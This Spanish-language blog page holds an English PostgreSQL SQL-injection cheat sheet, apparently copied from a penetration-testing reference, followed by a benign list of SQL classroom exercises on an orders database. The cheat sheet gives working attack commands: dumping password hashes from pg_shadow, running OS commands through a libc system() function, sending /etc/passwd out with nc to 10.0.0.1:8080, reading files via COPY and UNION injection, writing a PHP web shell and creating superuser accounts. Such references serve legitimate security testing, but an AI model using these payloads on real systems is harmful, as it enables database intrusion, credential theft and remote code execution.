lunes, 27 de abril de 2015
sábado, 25 de abril de 2015
viernes, 17 de abril de 2015
cheat sheet postgresql
| Version | SELECT version() |
| Comments | SELECT 1; –comment SELECT /*comment*/1; |
| Current User | SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); |
| List Users | SELECT usename FROM pg_user |
| List Password Hashes | SELECT usename, passwd FROM pg_shadow — priv |
| Password Cracker | MDCrack can crack PostgreSQL’s MD5-based passwords. |
| List Privileges | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
| List DBA Accounts | SELECT usename FROM pg_user WHERE usesuper IS TRUE |
| Current Database | SELECT current_database() |
| List Databases | SELECT datname FROM pg_database |
| List Columns | SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) |
| List Tables | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) |
| Find Tables From Column Name | If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’; |
| Select Nth Row | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1); — returns c |
| Bitwise AND | SELECT 6 & 2; — returns 2 SELECT 6 & 1; –returns 0 |
| ASCII Value -> Char | SELECT chr(65); |
| Char -> ASCII Value | SELECT ascii(‘A’); |
| Casting | SELECT CAST(1 as varchar); SELECT CAST(’1′ as int); |
| String Concatenation | SELECT ‘A’ || ‘B’; — returnsAB |
| If Statement | IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead. |
| Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A |
| Avoiding Quotes | SELECT CHR(65)||CHR(66); — returns AB |
| Time Delay | SELECT pg_sleep(10); — postgres 8.2+ only CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here . |
| Make DNS Requests | Generally not possible in postgres. However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.
|
| Command Execution | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user |
| Local File Access | CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time … DROP TABLE mytest mytest;Write to a file:
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’); COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user. Generally you won’t be able to write to the web root, but it’s always work a try. – priv user can also read/write files by mapping libc functions |
| Hostname, IP Address | SELECT inet_server_addr(); — returns db server IP address (or null if using local connection) SELECT inet_server_port(); — returns db server IP address (or null if using local connection) |
| Create Users | CREATE USER test1 PASSWORD ‘pass1′; — priv CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time |
| Drop Users | DROP USER test1; — priv |
| Make User DBA | ALTER USER test1 CREATEUSER CREATEDB; — priv |
| Location of DB files | SELECT current_setting(‘data_directory’); — priv SELECT current_setting(‘hba_file’); — priv |
| Default/System Databases | template0 template1 |
sábado, 11 de abril de 2015
Ejercicios sobre Pedidos.sql
Realice los siguientes ejercicios:
- 1. Mostrar la información de los productos.
- 2. Obtener la información de los empleados.
- 3. Listar los proveedores existentes.
- 4. Mostrar la descripción y existencias de los productos.
- 5. Mostrar la descripción y existencias de los productos
ordenados por descripción.
- 6. Mostrar la descripción y existencias de los productos
ordenados por las existencias de forma descendente y descripción ascendente.
- 7. Agregar la columna ciudad a la tabla proveedor.
- 8. Actualiza la información de los proveedores de la siguiente
forma: 3 en Bucaramanga, 2 en Bogotá DC y el resto en Medellín.
- 9. Muestre el identificador, nombre y contacto de los
proveedores.
- 10. Muestre nombre y contacto de los proveedores ubicados en la
ciudad de Bucaramanga y ordenados por el nombre.
- 11. Obtenga la información de los productos cuyas existencias
son mayores a 100.
- 12. Obtenga ahora los productos cuyas existencias son mayores a
100 pero menores a 300.
- 13. Muestre solo los productos cuyas existencias son menores de
90 o los mayores o iguales a 200.
- 14. Liste los empleados cuyos nombres empiezan por la consonante
'p'.
- 15. Liste los empleados cuyos nombres empiezan por la consonante
'm' independiente si está escrito en mayúscula o minúscula.
- 16. Muestra los empleados que tienen la vocal 'a' en la segunda
letra del nombre.
- 17. Obtenga los productos que tienen 'll' en su descripción.
- 18. Obtenga los productos que tienen 'll' en su descripción y la
categoría es 100 que es Cárnicos.
- 19. Agregue el campo salario a la tabla empleados que sea un
decimal de 10 dígitos donde uno de ellos es decimal.
- 20. Actualiza los salarios de la siguiente forma, 3 empleados
ganan: 617000, 2 ganan 1200000 y el resto gana 2000000.
- 21. Muestre los empleados que le reportan a Juan Cruz.
- 22. Muestre los empleados que no le reportan a nadie.
- 23. Agregue la columna edad a la tabla empleado.
- 24. Utilizando la fecha de nacimiento calcule la edad y
actualice la información.
- 25. La empresa está estudiando la posibilidad de subir los
salarios en un 5%, 8% y 11% a los empleados que actualmente ganen el salario mínimo,
por lo tanto calcule y muestre utilizando un alias para ver como quedarían los
salarios sin afectar la tabla.
- 26. Teniendo en cuenta el estudio la empresa decidió aumentar en
un 5% los salarios para los empleados que actualmente ganan un mínimo.
- 27. Realice un informe donde muestre el identificador, nombre,
apellido y el salario ordenado por este último atributo.
- 28. Muestre los empleados cuya fecha de cumpleaños esta entre
enero y junio.
- 29. Arreglar el registro de la tabla de empleado donde la edad
es un valor negativo; cambie la fecha de nacimiento a 1985-04-02 y re-calcule la
edad.
- 30. Agregar una columna a la tabla de empleado que almacene la
fecha de inicio al trabajo.
- 31. Actualiza la fecha de inicio al trabajo en la tabla de empleados (Recuerda que la fecha de inicio de trabajo debe ser mayor a la fecha de nacimiento pero menor que la fecha actual).
- 32. Realice el modelo entidad - relación del script de la base de datos pedidos.sql.
Realice los siguientes ejercicios:
